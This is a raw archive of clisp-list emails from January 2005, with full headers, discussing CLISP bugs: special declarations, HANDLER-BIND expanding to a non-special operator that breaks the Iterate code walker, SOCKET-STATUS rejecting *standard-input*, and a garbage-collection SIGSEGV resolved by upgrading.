clisp-list@lists.sourceforge.net, "Alex Mizrahi" , Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: looks like a bug Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jan 12 07:51:10 2005 X-Original-Date: Wed, 12 Jan 2005 10:50:26 -0500 > * Alex Mizrahi [2005-01-12 17:41:55 +0200]: > > (let ((x 5)) (let ((x (1+ x))) (declare (special x)) (print x))) > it prints 6 in lispworks and others, but says x is unbound in CLISP. this is a known long-standing bug. -- Sam Steingold (http://www.podval.org/~sds) running w2k Yeah, yeah, I love cats too... wanna trade recipes? From Joerg-Cyril.Hoehle@t-systems.com Thu Jan 13 06:08:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cp5du-00012s-Qj for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 06:08:06 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cp5dq-0006Mk-BX for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 06:08:06 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Thu, 13 Jan 2005 15:07:28 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 13 Jan 2005 15:07:49 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302F3E81D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: tayss_temp2@yahoo.com, iterate-devel@common-lisp.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 06:09:16 2005 X-Original-Date: Thu, 13 Jan 2005 15:06:43 +0100 Hi, I believe Tayssir John Gabbour's message (included below) reveals a) a bug in clisp, b) a general weakness of portable code walking, failing to handle macros that expand to implementation-specific special operators. For ease of using CC, I send it to clisp-list instead of opening a bugtracker issue. I believe the cause of the bug is that CLISP fails here to respect the obligation AFAIK (where was that in CLHS?) to have all its macros expand into either functions, macros or special forms -- so that code walkers work in CL. However, sys::%handler-bind looks like it must be handled as a special form (or macro) from the expansion example appended below, yet it's not declared as such. [28]> (special-operator-p 'sys::%handler-bind) NIL That could probably be easy to fix in CLISP. Iterate would then issue a warning instead of an error: "the CL implementation says that sys::%handler-bind is a special operator, but Iterate does not know how to handle that. It will not be walked, which means that Iterate clauses inside it will not be seen." -- Better, but still not ideal. How to improve on this? I don't see how to improve on this situation without adding to Iterate specific code for handler-bind. And potentially many other macros could expand to implementation-specific special forms (really?). Code-walking really appears tough -- Portable code walking next to impossible? Sigh (macroexpand-1'(ignore-errors)) (BLOCK #:G3533 (HANDLER-BIND ((ERROR #'(LAMBDA (CONDITION) (RETURN-FROM #:G3533 (VALUES NIL CONDITION))))))) ; T (macroexpand-1 (third (macroexpand-1'(ignore-errors)))) (LET ((#:G3535 #'(LAMBDA NIL (PROGN #'(LAMBDA (CONDITION) (RETURN-FROM #:G3534 (VALUES NIL CONDITION)))))) (#:G3536 #'(LAMBDA NIL (PROGN)))) (LOCALLY (DECLARE (COMPILE)) (SYSTEM::%HANDLER-BIND ((ERROR #'(LAMBDA (CONDITION) (FUNCALL (FUNCALL #:G3535) CONDITION)))) (FUNCALL #:G3536)))) ; T Regards, Jorg Hohle >-----Ursprungliche Nachricht----- >Von: Tayssir John Gabbour >Betreff: [iterate-devel] Bug report: handler-bind in FOR > >Hi all, > >On clisp-2.33.1/win2k, Iterate doesn't like handler-bind. I >don't know what the >issue is; it seems to work in Lispworks, since it was able to compile >cl-typesetting. > >Incidentally, I can't find the link to the mailing list, so >please cc: any >responses to me. ;) > > >;; doesn't work >(iterate:iter (for x = (ignore-errors 3)) > (format t "~&blah: ~S" x) > (until (= x 3))) > >;; works >(iterate:iter (for x = 3) > (format t "~&blah: ~S" x) > (until (= x 3))) > > >Error message: > >Iterate, in (let nil (declare (compile)) > (%handler-bind > ((error #'(lambda (condition) (funcall (funcall g5133) condition)))) > (funcall g5134))): >The form ((error #'(lambda (condition) (funcall (funcall >g5133) condition)))) >is not a valid Lisp expression > [Condition of type simple-error] > >MfG, >Tayssir From sds@gnu.org Thu Jan 13 08:37:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cp7ys-0000pg-PJ for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 08:37:54 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Cp7ys-0007YO-26 for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 08:37:54 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0DGWogP029696; Thu, 13 Jan 2005 11:32:53 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Cc: Bruno Haible , iterate-devel@common-lisp.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0302F3E81D@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Thu, 13 Jan 2005 15:06:43 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E81D@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" , Bruno Haible , iterate-devel@common-lisp.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 08:38:16 2005 X-Original-Date: Thu, 13 Jan 2005 11:32:50 -0500 > * Hoehle, Joerg-Cyril [2005-01-13 15:06:43 +0100]: > > I believe the cause of the bug is that CLISP fails here to respect the > obligation AFAIK (where was that in CLHS?) to have all its macros > expand into either functions, macros or special forms -- so that code > walkers work in CL. > > However, sys::%handler-bind looks like it must be handled as a special > form (or macro) from the expansion example appended below, yet it's > not declared as such. > [28]> (special-operator-p 'sys::%handler-bind) > NIL SYS::%HANDLER-BIND cannot be evaluated, only compiled, so, indeed, it is a special operator. marking it as such will not buy much for ITERATE. The only place where it occurs is HANDLER-BIND which is a standard macro though, so I suggest that ITERATE handles HANDLER-BIND specially, not via MACROEXPAND. -- Sam Steingold (http://www.podval.org/~sds) running w2k Between grand theft and a legal fee, there only stands a law degree. From ayan@ayan.net Thu Jan 13 08:50:07 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Cp8Ag-0001Lv-UT for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 08:50:06 -0800 Received: from fl-69-69-27-16.sta.sprint-hsd.net ([69.69.27.16] helo=sol.ayan.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Cp8Ag-0007ZD-5O for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 08:50:06 -0800 Received: from sol.ayan.net (localhost [127.0.0.1]) by sol.ayan.net (8.12.10/8.12.10) with ESMTP id j0DGnSFu019272 for ; Thu, 13 Jan 2005 11:49:28 -0500 (EST) Received: from localhost (ayan@localhost) by sol.ayan.net (8.12.10/8.12.10/Submit) with ESMTP id j0DGnRoc019269 for ; Thu, 13 Jan 2005 11:49:27 -0500 (EST) From: ayan@ayan.net To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] SOCKET-STATUS and *standard-input* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 08:51:14 2005 X-Original-Date: Thu, 13 Jan 2005 11:49:27 -0500 (EST) hello everyone, i'm trying to write a simple network client that relays text from the terminal to a socket. after making the network connection, i want to wait for input from either the socket or *standard-input*. unfortulately, clisp complains with: *** - SOCKET-STATUS on # is illegal so i'm stuck at trying to multiplex the input of a socket and the terminal using socket-status. i know there are probably many things wrong with this program since i'm an inexperienced lisp programmer but could someone help me address the SOCKET-STATUS problem? -ayan ( defun client-connect ( server port user pass ) ( let ( ( sock ( socket-connect ( parse-integer port ) server ) ) ) ( unwind-protect ( progn ( format sock "connect ~A ~A~%" user pass ) ( let ( ( ready ( socket-status ( list sock *standard-input* ) ) ) ) ( cond ( ( = ready sock ) ( print "RECEIVED DATA FROM THE SERVER" ) ) ( ( = ready *standard-input* ) ( print "RECEIVED DATA FROM THE TERMINAL" ) ) ( ( t ) ( print "WTF?" ) ) ) ) ) ( close sock ) ) ) ) ( format t "connecting to ~A:~A...~%" ( first *ARGS* ) ( second *ARGS* ) ) ( client-connect ( first *ARGS* ) ( second *ARGS* ) ( third *ARGS* ) ( fourth *ARGS* ) ) From sds@gnu.org Thu Jan 13 11:12:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpAOG-0001XQ-JE for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 11:12:16 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpAOE-0000Ff-8E for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 11:12:15 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0DJBMgP020703; Thu, 13 Jan 2005 14:11:27 -0500 (EST) To: clisp-list@lists.sourceforge.net, ayan@ayan.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (ayan@ayan.net's message of "Thu, 13 Jan 2005 11:49:27 -0500 (EST)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, ayan@ayan.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: SOCKET-STATUS and *standard-input* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 11:13:20 2005 X-Original-Date: Thu, 13 Jan 2005 14:11:22 -0500 > * [2005-01-13 11:49:27 -0500]: > > *** - SOCKET-STATUS on # is illegal this is a bug. sorry. use (socket-status *terminal-io*) for now. > ( defun client-connect ( server port user pass ) if you do not leave a blank space after #\( and before #\) and let Emacs indent your code, your code will be much easier to read. -- Sam Steingold (http://www.podval.org/~sds) running w2k If I had known that it was harmless, I would have killed it myself. From lisp-clisp-list@m.gmane.org Thu Jan 13 19:40:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpIJz-0003cq-KV for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 19:40:23 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpIJy-0002pc-Gj for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 19:40:23 -0800 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CpIJv-0000tx-00 for ; Fri, 14 Jan 2005 04:40:19 +0100 Received: from h00902721e17b.ne.client2.attbi.com ([24.34.23.191]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jan 2005 04:40:19 +0100 Received: from ariva by h00902721e17b.ne.client2.attbi.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jan 2005 04:40:19 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Alberto Lines: 26 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 24.34.23.191 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031030) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] SIGSEGV due to garbage collection? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 19:41:10 2005 X-Original-Date: Fri, 14 Jan 2005 03:30:51 +0000 (UTC) Hello, I'm using CLISP 2.30 (released 2002-09-15) to write a simple CGI script, and I'm getting the following error in some cases: *** - handle_fault error2 ! address = 0x37254418 not in [0x201F7000,0x202CACBC) ! SIGSEGV cannot be cured. Fault address = 0x37254418. Since I don't have shell access to the server this runs on, I have no other information besides this message. The only thing I was able to find out is that I can reproduce this error by explicitely triggering a GC. So my hypothesis is that the server doesn't make enough memory available to my program, and when a GC occurs CLISP can't allocate the necessary space. Does this explanation make sense? Is there a way to avoid the above error? Or, can I temporarily disable GC so that I can get to the end of the script without running into trouble? Note that my program only needs to generate a pretty simple HTML page, so I don't care if I leave garbage around, my program will terminate immediately after. Thank you, Alberto PS I know I'm using a pretty old version of CLISP, the reason that newer versions used to print the warning about *FOREIGN-ENCODING* at startup, and that messed up the CGI response. Now it seems that was fixed, so I'll try upgrading... From lisp-clisp-list@m.gmane.org Thu Jan 13 22:08:03 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpKct-0001hI-Nv for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 22:08:03 -0800 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CpKcs-0000iC-79 for clisp-list@lists.sourceforge.net; Thu, 13 Jan 2005 22:08:03 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1CpKcm-0003rH-00 for ; Fri, 14 Jan 2005 07:07:56 +0100 Received: from h00902721e17b.ne.client2.attbi.com ([24.34.23.191]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jan 2005 07:07:56 +0100 Received: from ariva by h00902721e17b.ne.client2.attbi.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 14 Jan 2005 07:07:56 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Alberto Lines: 18 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 24.34.23.191 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4.1) Gecko/20031030) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: SIGSEGV due to garbage collection? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 13 22:09:01 2005 X-Original-Date: Fri, 14 Jan 2005 06:07:51 +0000 (UTC) Alberto medg.lcs.mit.edu> writes: > > Hello, I'm using CLISP 2.30 (released 2002-09-15) to write a simple CGI > script, and I'm getting the following error in some cases: > *** - handle_fault error2 ! address = 0x37254418 not in > [0x201F7000,0x202CACBC) ! SIGSEGV cannot be cured. Fault address = > 0x37254418. Followup to my own post... I upgraded to 2.33.2, and the problem went away. Thanks anyway :) Alberto From bruno@clisp.org Fri Jan 14 05:09:26 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpRCg-0002yT-Eo for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 05:09:26 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CpRCf-0000Sh-Qv for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 05:09:26 -0800 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id j0ED85Rm026122; Fri, 14 Jan 2005 14:08:06 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j0ED7uwu016890; Fri, 14 Jan 2005 14:08:00 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 7F9E12DB7B; Fri, 14 Jan 2005 13:05:15 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 Cc: iterate-devel@common-lisp.net References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200501141405.09360.bruno@clisp.org> X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 05:10:17 2005 X-Original-Date: Fri, 14 Jan 2005 14:05:09 +0100 Joerg-Cyril Hoehle wrote: > Every program or library which does code-walking and comes across > IGNORE-ERRORS or HANDLER-BIND in CLISP will barf on this. Yes. Like HANDLER-BIND, like COMPILER-LET, is a primitive that cannot be emulated using macroexpansions in clisp. > Having a useful response from SPECIAL-OPERATOR-P would at least help these > to correctly recognize the situation at hand. I don't agree. The purpose of the statement in CLHS 3.1.2.1.2.2 "An implementation is free to implement any macro operator as a special operator, but only if an equivalent definition of the macro is also provided." is obviously that code walkers will use the macro definition and not have special code for HANDLER-BIND. But this macro definition cannot do anything else than expand into something containing SYS::%HANDLER-BIND, and at this point the code walker would barf as well. So the code walkers need a bit of #+clisp code for either HANDLER-BIND or SYS::%HANDLER-BIND. The former is better, since HANDLER-BIND is a documented symbol whose meaning won't change. Bruno From Joerg-Cyril.Hoehle@t-systems.com Fri Jan 14 05:53:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpRt0-00051D-Ab for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 05:53:10 -0800 Received: from mail4.telekom.de ([195.243.210.197]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1CpRsy-0006TC-2f for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 05:53:09 -0800 Received: from g8pbq.blf01.telekom.de by mail2.dmz.telekom.de with ESMTP; Fri, 14 Jan 2005 14:52:40 +0100 Received: by G8PBQ.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Jan 2005 14:53:00 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0302F3EAAC@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: bruno@clisp.org, clisp-list@lists.sourceforge.net Cc: iterate-devel@common-lisp.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] AW: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 05:54:00 2005 X-Original-Date: Fri, 14 Jan 2005 14:52:04 +0100 Bruno Haible writes: >... SYS::%HANDLER-BIND, >and at this point the code walker would barf as well. Not necessarily. You don't know what the code-walker wants to do = (perhaps count function calls, or cross-ref). The code-walker may = decide to leave unknown specials alone (most reasonable). However, with the current behaviour, it does not barf on %handler-bind, = it barfs on ((error ...) ...) inside it, which is not a correct form, = and has no possibility to know where that illegal form comes from. If we had (special-operator-p sys::%handler-bind) -> true in CLISP, = then any code-walker would know that it can't continue, which is better = than to assume sys::%handler-bind to be a function call when it's = clearly not. That's independent on the need to have to add #+clisp(case-of = handler-bind) to individual code-walkers, e.g. Iterate. BTW, I also started a thread in cll on this special operator issue Subject: what are allowed special forms? (CLHS clarification) Regards, J=C3=B6rg. From sds@gnu.org Fri Jan 14 06:37:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1CpSa2-00076Y-HW for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 06:37:38 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1CpSZy-0002Gs-TN for clisp-list@lists.sourceforge.net; Fri, 14 Jan 2005 06:37:38 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id j0EEbJI2016540; Fri, 14 Jan 2005 09:37:19 -0500 (EST) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200501141405.09360.bruno@clisp.org> (Bruno Haible's message of "Fri, 14 Jan 2005 14:05:09 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A0302F3E9B8@S4DE8PSAAGS.blf.telekom.de> <200501141405.09360.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: handler-bind macroexpansion and special operators (fwd) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 14 06:38:22 2005 